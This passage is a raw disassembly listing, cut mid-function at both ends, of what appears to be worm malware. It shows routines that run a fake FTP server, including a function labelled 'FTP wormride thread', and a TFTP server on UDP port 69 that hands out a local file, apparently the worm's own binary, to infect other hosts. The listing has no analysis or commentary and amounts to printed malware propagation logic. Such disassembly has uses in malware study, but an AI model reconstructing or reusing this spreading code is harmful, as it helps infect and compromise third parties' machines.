pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx xor eax, eax jmp short locret_411139 ; --------------------------------------------------------------------------- loc_41111C: ; CODE XREF: sub_41102F+CFj jmp short loc_41109F ; --------------------------------------------------------------------------- loc_41111E: ; CODE XREF: sub_41102F+7Ej push [ebp+var_204] call sub_40538D pop ecx push [ebp+var_208] call sub_416B82 ; fclose pop ecx push 1 pop eax locret_411139: ; CODE XREF: sub_41102F+38j ; sub_41102F+6Bj ... leave retn sub_41102F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41113B proc near ; DATA XREF: sub_411BBC+156o var_558 = dword ptr -558h var_554 = dword ptr -554h var_550 = dword ptr -550h var_54C = dword ptr -54Ch var_548 = dword ptr -548h var_544 = dword ptr -544h var_540 = byte ptr -540h var_53C = byte ptr -53Ch var_538 = byte ptr -538h var_534 = dword ptr -534h var_530 = byte ptr -530h var_52C = dword ptr -52Ch var_528 = dword ptr -528h var_524 = dword ptr -524h var_520 = dword ptr -520h var_51C = dword ptr -51Ch var_518 = byte ptr -518h var_318 = byte ptr -318h var_118 = dword ptr -118h var_114 = byte ptr -114h var_113 = byte ptr -113h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_103 = byte ptr -103h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 558h push edi mov eax, [ebp+arg_0] mov [ebp+var_10C], eax push offset dword_41C6B0 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch mov al, byte_41DE30 mov [ebp+var_104], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_103] rep stosd stosw stosb mov al, byte_41DE30 mov [ebp+var_114], al xor eax, eax lea edi, [ebp+var_113] stosd stosb and [ebp+var_4], 0 and [ebp+var_118], 0 and [ebp+var_108], 0 loc_4111CC: ; CODE XREF: sub_41113B+10Cj ; sub_41113B+1BDj ... push 0EA60h push [ebp+var_10C] call sub_40546E pop ecx pop ecx test eax, eax jz loc_4119BA push 200h lea eax, [ebp+var_318] push eax push [ebp+var_10C] call sub_4053DC add esp, 0Ch mov [ebp+var_520], eax cmp [ebp+var_520], 0 jz short loc_411218 cmp [ebp+var_520], 0FFFFFFFFh jnz short loc_41121D loc_411218: ; CODE XREF: sub_41113B+D2j jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41121D: ; CODE XREF: sub_41113B+DBj lea eax, [ebp+var_108] push eax push offset dword_41C6AC lea eax, [ebp+var_318] push eax call sub_40813C add esp, 0Ch mov [ebp+var_528], eax cmp [ebp+var_528], 0 jnz short loc_411249 jmp short loc_4111CC ; --------------------------------------------------------------------------- loc_411249: ; CODE XREF: sub_41113B+10Aj lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch mov [ebp+var_51C], eax cmp [ebp+var_51C], 0 jnz short loc_411278 mov [ebp+var_51C], offset byte_41DE30 loc_411278: ; CODE XREF: sub_41113B+131j lea eax, [ebp+var_108] push eax push offset dword_41C6AC push 0 call sub_40813C add esp, 0Ch push [ebp+var_528] call sub_40ED38 pop ecx mov [ebp+var_524], eax mov eax, [ebp+var_524] sub eax, dword_41C6A0 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4112FD mov [ebp+var_4], 1 push offset dword_41C698 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4112FD: ; CODE XREF: sub_41113B+178j mov eax, [ebp+var_524] sub eax, dword_41C68C neg eax sbb eax, eax inc eax test eax, eax jz short loc_41135D mov [ebp+var_118], 1 push offset dword_41C684 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41135D: ; CODE XREF: sub_41113B+1D5j cmp [ebp+var_4], 0 jz short loc_41136C cmp [ebp+var_118], 0 jnz short loc_411371 loc_41136C: ; CODE XREF: sub_41113B+226j jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411371: ; CODE XREF: sub_41113B+22Fj mov eax, [ebp+var_524] sub eax, dword_41C678 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4113C7 push offset dword_41C670 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4113C7: ; CODE XREF: sub_41113B+249j mov eax, [ebp+var_524] sub eax, dword_41C664 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41141D push offset dword_41C65C push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41141D: ; CODE XREF: sub_41113B+29Fj mov eax, [ebp+var_524] sub eax, dword_41C654 neg eax sbb eax, eax inc eax test eax, eax jz short loc_411473 push offset dword_41C648 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411473: ; CODE XREF: sub_41113B+2F5j mov eax, [ebp+var_524] sub eax, dword_41C63C neg eax sbb eax, eax inc eax test eax, eax jz short loc_4114C9 push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4114C9: ; CODE XREF: sub_41113B+34Bj mov eax, [ebp+var_524] sub eax, dword_41C628 neg eax sbb eax, eax inc eax test eax, eax jz short loc_41151F push offset dword_41C620 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_41151F: ; CODE XREF: sub_41113B+3A1j mov eax, [ebp+var_524] sub eax, dword_41C614 neg eax sbb eax, eax inc eax test eax, eax jz loc_411622 lea eax, [ebp+var_534] push eax lea eax, [ebp+var_52C] push eax lea eax, [ebp+var_540] push eax lea eax, [ebp+var_53C] push eax lea eax, [ebp+var_538] push eax lea eax, [ebp+var_530] push eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push [ebp+var_51C] call sub_416BA2 ; sscanf add esp, 20h movzx eax, [ebp+var_540] push eax movzx eax, [ebp+var_53C] push eax movzx eax, [ebp+var_538] push eax movzx eax, [ebp+var_530] push eax push offset dword_418A50 push 100h lea eax, [ebp+var_104] push eax call sub_416BAE ; _snprintf add esp, 1Ch mov eax, [ebp+var_52C] and eax, 0FFh shl eax, 8 mov ecx, [ebp+var_534] and ecx, 0FFh or eax, ecx push eax push offset dword_418A60 push 6 lea eax, [ebp+var_114] push eax call sub_416BAE ; _snprintf add esp, 10h push offset dword_41C634 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411622: ; CODE XREF: sub_41113B+3F7j mov eax, [ebp+var_524] sub eax, dword_41C5F4 neg eax sbb eax, eax inc eax test eax, eax jz loc_4116E9 push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_548], eax cmp [ebp+var_548], 0 jnz short loc_411660 jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411660: ; CODE XREF: sub_41113B+51Ej push 2 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B76 ; ftell pop ecx mov [ebp+var_544], eax push 0 push 0 push [ebp+var_548] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_548] call sub_416B82 ; fclose pop ecx push [ebp+var_544] push offset dword_41C5E8 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 10h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_4116E9: ; CODE XREF: sub_41113B+4FAj mov eax, [ebp+var_524] sub eax, dword_41C5DC neg eax sbb eax, eax inc eax test eax, eax jz loc_411873 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 2710h push 0 lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_4050EA add esp, 10h mov [ebp+var_54C], eax cmp [ebp+var_54C], 0 jz short loc_411773 cmp [ebp+var_54C], 0FFFFFFFFh jnz short loc_411778 loc_411773: ; CODE XREF: sub_41113B+62Dj jmp loc_4119BA ; --------------------------------------------------------------------------- loc_411778: ; CODE XREF: sub_41113B+636j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_554], eax cmp [ebp+var_554], 0 jnz short loc_41179D jmp loc_4119BA ; --------------------------------------------------------------------------- loc_41179D: ; CODE XREF: sub_41113B+65Bj push 2 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B76 ; ftell pop ecx mov [ebp+var_550], eax push 0 push 0 push [ebp+var_554] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_554] call sub_416B82 ; fclose pop ecx push offset dword_41EB2C push [ebp+var_550] push offset aX32000Fh1024Ja ; "-x 3 2000 fh 1024 Jan 1 0:00 .\r\ndrwxr-x"... push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 14h lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_54C] call sub_4053BF add esp, 0Ch push [ebp+var_54C] call sub_40538D pop ecx push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch jmp loc_4111CC ; --------------------------------------------------------------------------- loc_411873: ; CODE XREF: sub_41113B+5C1j mov eax, [ebp+var_524] sub eax, dword_41C54C neg eax sbb eax, eax inc eax test eax, eax jz loc_411969 push offset a150 ; "150 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch lea eax, [ebp+var_114] push eax lea eax, [ebp+var_104] push eax call sub_41102F pop ecx pop ecx test eax, eax jz loc_411967 push offset dword_41C558 push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push 1 push offset dword_41EB08 call sub_409C88 pop ecx pop ecx inc eax mov [ebp+var_558], eax lea eax, [ebp+var_104] push eax push [ebp+var_558] push offset aFtp_0 ; "ftp" push offset unk_41C520 push offset dword_41DAB4 call sub_40D4AB add esp, 14h push 3E8h call dword_41709C ; Sleep jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411967: ; CODE XREF: sub_41113B+7A4j jmp short loc_4119BA ; --------------------------------------------------------------------------- loc_411969: ; CODE XREF: sub_41113B+74Bj mov eax, [ebp+var_524] sub eax, dword_41C514 neg eax sbb eax, eax inc eax test eax, eax jz short loc_4119BA push offset a221 ; "221 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch loc_4119BA: ; CODE XREF: sub_41113B+A5j ; sub_41113B:loc_411218j ... push offset a231 ; "231 -\r\n" push 200h lea eax, [ebp+var_518] push eax call sub_416BAE ; _snprintf add esp, 0Ch lea eax, [ebp+var_518] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_518] push eax push [ebp+var_10C] call sub_4053BF add esp, 0Ch push [ebp+var_10C] call sub_40538D pop ecx xor eax, eax pop edi leave retn 4 sub_41113B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411A09 proc near ; CODE XREF: sub_411BBC+90p var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 204h push 32h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_411A29 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A29: ; CODE XREF: sub_411A09+17j push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053DC add esp, 0Ch mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411A58 cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411A5F loc_411A58: ; CODE XREF: sub_411A09+44j xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A5F: ; CODE XREF: sub_411A09+4Dj lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6D8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411A8A xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_411A09+78j push offset dword_41C6CC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf pop ecx pop ecx lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411AEE cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411AF5 loc_411AEE: ; CODE XREF: sub_411A09+DAj xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411AF5: ; CODE XREF: sub_411A09+E3j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6C8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411B20 xor eax, eax jmp locret_411BBA ; --------------------------------------------------------------------------- loc_411B20: ; CODE XREF: sub_411A09+10Ej call sub_410422 push eax push offset dword_41C6BC lea eax, [ebp+var_200] push eax call sub_416B5E ; sprintf add esp, 0Ch lea eax, [ebp+var_200] push eax call sub_416B40 ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 32h push 200h lea eax, [ebp+var_200] push eax push [ebp+arg_0] call sub_405443 add esp, 10h mov [ebp+var_204], eax cmp [ebp+var_204], 0 jz short loc_411B8B cmp [ebp+var_204], 0FFFFFFFFh jnz short loc_411B8F loc_411B8B: ; CODE XREF: sub_411A09+177j xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411B8F: ; CODE XREF: sub_411A09+180j lea eax, [ebp+var_200] push eax call sub_407BF5 pop ecx push offset dword_41C6B8 lea eax, [ebp+var_200] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_411BB7 xor eax, eax jmp short locret_411BBA ; --------------------------------------------------------------------------- loc_411BB7: ; CODE XREF: sub_411A09+1A8j push 1 pop eax locret_411BBA: ; CODE XREF: sub_411A09+1Bj ; sub_411A09+51j ... leave retn sub_411A09 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411BBC proc near ; CODE XREF: sub_411D59+6p var_1C8 = dword ptr -1C8h var_1C4 = dword ptr -1C4h var_1C0 = dword ptr -1C0h var_1BC = byte ptr -1BCh var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1C8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx mov [ebp+var_4], 1 and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_8], 1 jmp short loc_411C04 ; --------------------------------------------------------------------------- loc_411BFD: ; CODE XREF: sub_411BBC:loc_411CABj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_411C04: ; CODE XREF: sub_411BBC+3Fj cmp [ebp+var_8], 0FFFFh jnb loc_411CB0 push 0Ah lea eax, [ebp+var_18] push eax push [ebp+var_8] call sub_416F7A ; _itoa add esp, 0Ch push 0FFFFFFFFh push 0 lea eax, [ebp+var_18] push eax push offset a127_0_0_1 ; "127.0.0.1" call sub_4050EA add esp, 10h mov [ebp+var_1C4], eax cmp [ebp+var_1C4], 0 jz short loc_411CAB push [ebp+var_1C4] call sub_411A09 pop ecx test eax, eax jz short loc_411C9F mov eax, [ebp+var_C] inc eax mov [ebp+var_C], eax cmp [ebp+var_4], 0 jnz short loc_411C76 push 2 lea eax, [ebp+var_18] push eax push [ebp+var_10] call sub_404871 add esp, 0Ch jmp short loc_411C9F ; --------------------------------------------------------------------------- loc_411C76: ; CODE XREF: sub_411BBC+A5j push 2 lea eax, [ebp+var_18] push eax call sub_4046BC pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_411C9F push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411C9F: ; CODE XREF: sub_411BBC+98j ; sub_411BBC+B8j ... push [ebp+var_1C4] call sub_4053B1 pop ecx loc_411CAB: ; CODE XREF: sub_411BBC+88j jmp loc_411BFD ; --------------------------------------------------------------------------- loc_411CB0: ; CODE XREF: sub_411BBC+4Fj cmp [ebp+var_10], 0 jnz short loc_411CC9 push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax jmp locret_411D55 ; --------------------------------------------------------------------------- loc_411CC9: ; CODE XREF: sub_411BBC+F8j mov eax, [ebp+var_1C0] push dword ptr [eax] push offset unk_41C6DC lea eax, [ebp+var_1BC] push eax call sub_40D53F add esp, 0Ch loc_411CE5: ; CODE XREF: sub_411BBC:loc_411D3Cj push 3E8h push [ebp+var_10] call sub_4048EF pop ecx pop ecx mov [ebp+var_1C8], eax cmp [ebp+var_1C8], 0 jz short loc_411D2E cmp [ebp+var_1C8], 0FFFFFFFFh jz short loc_411D2E push [ebp+var_1C8] push offset sub_41113B call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_411D2E push [ebp+var_1C8] call sub_4053B1 pop ecx loc_411D2E: ; CODE XREF: sub_411BBC+145j ; sub_411BBC+14Ej ... mov eax, [ebp+var_1C0] cmp dword ptr [eax+4], 0 jz short loc_411D3C jmp short loc_411D3E ; --------------------------------------------------------------------------- loc_411D3C: ; CODE XREF: sub_411BBC+17Cj jmp short loc_411CE5 ; --------------------------------------------------------------------------- loc_411D3E: ; CODE XREF: sub_411BBC+17Ej push [ebp+var_10] call sub_404CBB pop ecx push [ebp+var_1C0] call sub_409763 pop ecx xor eax, eax locret_411D55: ; CODE XREF: sub_411BBC+DEj ; sub_411BBC+108j leave retn 4 sub_411BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; DATA XREF: sub_411D68+4Eo arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_411BBC pop ebp retn 4 sub_411D59 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D68 proc near ; CODE XREF: sub_40A9CF+70Fp ; sub_40A9CF+735p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx call sub_4042FB test eax, eax jz short loc_411D77 jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D77: ; CODE XREF: sub_411D68+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_411D8D jmp short locret_411DC3 ; --------------------------------------------------------------------------- loc_411D8D: ; CODE XREF: sub_411D68+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aFtpWormrideThr ; "FTP wormride thread" mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_411D59 call sub_4095A4 add esp, 10h locret_411DC3: ; CODE XREF: sub_411D68+Dj ; sub_411D68+23j leave retn sub_411D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411DC5 proc near ; DATA XREF: sub_4123F6+43o var_DAC = dword ptr -0DACh var_DA8 = dword ptr -0DA8h var_DA4 = dword ptr -0DA4h var_DA0 = byte ptr -0DA0h var_D9C = dword ptr -0D9Ch var_D98 = byte ptr -0D98h var_D94 = dword ptr -0D94h var_D90 = dword ptr -0D90h var_D8C = dword ptr -0D8Ch var_D88 = dword ptr -0D88h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D7C = dword ptr -0D7Ch var_D70 = byte ptr -0D70h var_D6F = byte ptr -0D6Fh var_D6E = byte ptr -0D6Eh var_D6D = byte ptr -0D6Dh var_D6C = byte ptr -0D6Ch var_B6C = dword ptr -0B6Ch var_B68 = dword ptr -0B68h var_B64 = dword ptr -0B64h var_B60 = dword ptr -0B60h var_B5C = dword ptr -0B5Ch var_B58 = dword ptr -0B58h var_358 = dword ptr -358h var_354 = byte ptr -354h var_1B0 = word ptr -1B0h var_1AE = word ptr -1AEh var_1AC = dword ptr -1ACh var_1A0 = dword ptr -1A0h var_19C = byte ptr -19Ch var_19B = byte ptr -19Bh var_19A = byte ptr -19Ah var_199 = byte ptr -199h var_11C = byte ptr -11Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DACh push edi push 1A7h push [ebp+arg_0] lea eax, [ebp+var_358] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx push 0 push 2 push 2 call dword_417218 ; socket mov [ebp+var_108], eax cmp [ebp+var_108], 0FFFFFFFFh jnz short loc_411E1D push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411E1D: ; CODE XREF: sub_411DC5+43j lea eax, [ebp+var_104] push eax call sub_40CF25 push eax call sub_40449C pop ecx pop ecx push 10h push 0 lea eax, [ebp+var_1B0] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1B0], 2 push 45h call dword_417238 ; htons mov [ebp+var_1AE], ax lea eax, [ebp+var_104] push eax call dword_417244 ; inet_addr mov [ebp+var_1AC], eax mov [ebp+var_1A0], 1 push 4 lea eax, [ebp+var_1A0] push eax push 4 push 0FFFFh push [ebp+var_108] call dword_417204 ; setsockopt push 10h lea eax, [ebp+var_1B0] push eax push [ebp+var_108] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_411EC2 push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411EC2: ; CODE XREF: sub_411DC5+E8j push offset aRb ; "rb" push offset dword_41EB2C call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_10C], eax cmp [ebp+var_10C], 0 jnz short loc_411F01 push [ebp+var_108] call dword_417230 ; closesocket push [ebp+var_358] call sub_409763 pop ecx xor eax, eax jmp loc_4123F1 ; --------------------------------------------------------------------------- loc_411F01: ; CODE XREF: sub_411DC5+11Bj mov eax, [ebp+var_358] push dword ptr [eax] push offset unk_41C788 lea eax, [ebp+var_354] push eax call sub_40D53F add esp, 0Ch push 2 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_10C] call sub_416B76 ; ftell pop ecx mov [ebp+var_4], eax push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch push 80h push 0 lea eax, [ebp+var_19C] push eax call sub_416B6A ; memset add esp, 0Ch loc_411F66: ; CODE XREF: sub_411DC5:loc_412084j ; sub_411DC5:loc_4123C6j mov [ebp+var_B64], 1 and [ebp+var_B60], 0 and [ebp+var_B5C], 0 loc_411F7E: ; CODE XREF: sub_411DC5+234j and [ebp+var_B68], 0 jmp short loc_411F94 ; --------------------------------------------------------------------------- loc_411F87: ; CODE XREF: sub_411DC5:loc_411FB9j mov eax, [ebp+var_B68] inc eax mov [ebp+var_B68], eax loc_411F94: ; CODE XREF: sub_411DC5+1C0j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnb short loc_411FBB mov eax, [ebp+var_B68] mov eax, [ebp+eax*4+var_B58] cmp eax, [ebp+var_108] jnz short loc_411FB9 jmp short loc_411FBB ; --------------------------------------------------------------------------- loc_411FB9: ; CODE XREF: sub_411DC5+1F0j jmp short loc_411F87 ; --------------------------------------------------------------------------- loc_411FBB: ; CODE XREF: sub_411DC5+1DBj ; sub_411DC5+1F2j mov eax, [ebp+var_B68] cmp eax, [ebp+var_B5C] jnz short loc_411FF5 cmp [ebp+var_B5C], 200h jnb short loc_411FF5 mov eax, [ebp+var_B68] mov ecx, [ebp+var_108] mov [ebp+eax*4+var_B58], ecx mov eax, [ebp+var_B5C] inc eax mov [ebp+var_B5C], eax loc_411FF5: ; CODE XREF: sub_411DC5+202j ; sub_411DC5+20Ej xor eax, eax test eax, eax jnz short loc_411F7E lea eax, [ebp+var_B64] push eax push 0 push 0 lea eax, [ebp+var_B5C] push eax push 0 call dword_41722C ; select test eax, eax jle loc_4123B8 mov [ebp+var_D84], 10h mov al, byte_41DE30 mov [ebp+var_D70], al mov ecx, 80h xor eax, eax lea edi, [ebp+var_D6F] rep stosd stosw stosb lea eax, [ebp+var_D84] push eax lea eax, [ebp+var_D80] push eax push 0 push 80h lea eax, [ebp+var_19C] push eax push [ebp+var_108] call dword_417258 ; recvfrom mov [ebp+var_B6C], eax cmp [ebp+var_B6C], 0 jz short loc_412084 cmp [ebp+var_B6C], 0FFFFFFFFh jnz short loc_412089 loc_412084: ; CODE XREF: sub_411DC5+2B4j jmp loc_411F66 ; --------------------------------------------------------------------------- loc_412089: ; CODE XREF: sub_411DC5+2BDj movsx eax, [ebp+var_19C] test eax, eax jnz loc_4121C0 movsx eax, [ebp+var_19B] cmp eax, 1 jnz loc_4121C0 lea eax, [ebp+var_19C] mov [ebp+var_D88], eax lea eax, [ebp+var_19C] mov [ebp+var_D8C], eax mov eax, [ebp+var_D88] inc eax inc eax mov [ebp+var_D88], eax mov eax, [ebp+var_D8C] inc eax inc eax mov [ebp+var_D8C], eax push [ebp+var_D8C] call sub_416B40 ; strlen pop ecx mov ecx, [ebp+var_D8C] lea eax, [ecx+eax+1] mov [ebp+var_D8C], eax push offset aOctet ; "octet" call sub_416B40 ; strlen pop ecx push eax push [ebp+var_D8C] push offset aOctet ; "octet" call sub_416BF0 ; strncmp add esp, 0Ch test eax, eax jz short loc_41213F push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 push 13h push offset dword_41C76C push [ebp+var_108] call dword_417250 ; sendto jmp short loc_4121BB ; --------------------------------------------------------------------------- loc_41213F: ; CODE XREF: sub_411DC5+354j push 0 push 0 push [ebp+var_10C] call sub_416B96 ; fseek add esp, 0Ch and [ebp+var_D70], 0 mov [ebp+var_D6F], 3 and [ebp+var_D6E], 0 mov [ebp+var_D6D], 1 push [ebp+var_10C] push 200h push 1 lea eax, [ebp+var_D6C] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_D90], eax push [ebp+var_D84] lea eax, [ebp+var_D80] push eax push 0 mov eax, [ebp+var_D90] add eax, 4 push eax lea eax, [ebp+var_D70] push eax push [ebp+var_108] call dword_417250 ; sendto loc_4121BB: ; CODE XREF: sub_411DC5+378j jmp loc_4123B8 ; --------------------------------------------------------------------------- loc_4121C0: ; CODE XREF: 